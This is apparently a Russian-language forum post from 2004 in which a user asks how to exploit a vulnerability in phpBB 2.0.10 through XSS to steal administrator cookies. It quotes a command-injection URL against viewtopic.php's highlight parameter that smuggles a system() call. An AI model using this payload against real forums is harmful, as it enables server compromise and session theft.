31.12.2004, 17:58
|
|
Участник форума
Регистрация: 16.09.2004
Сообщений: 193
Провел на форуме:
621131
Репутация:
47
|
|
Возможно ли в phpBB(2.0.10) использовать xss и получить админские куки?
Можно ли как-нить с помошью последней уязвимости в phpBB(2.0.10) использовать xss и получить админские куки?
Я пробовал так:
viewtopic.php?t=6&highlight=%2527.system($_GET[id]).%2527&id=echo test!!! и
с обычным текстом все получалось, а вот если вставить например <img src="">, то уже ниче не пишется  |
|
|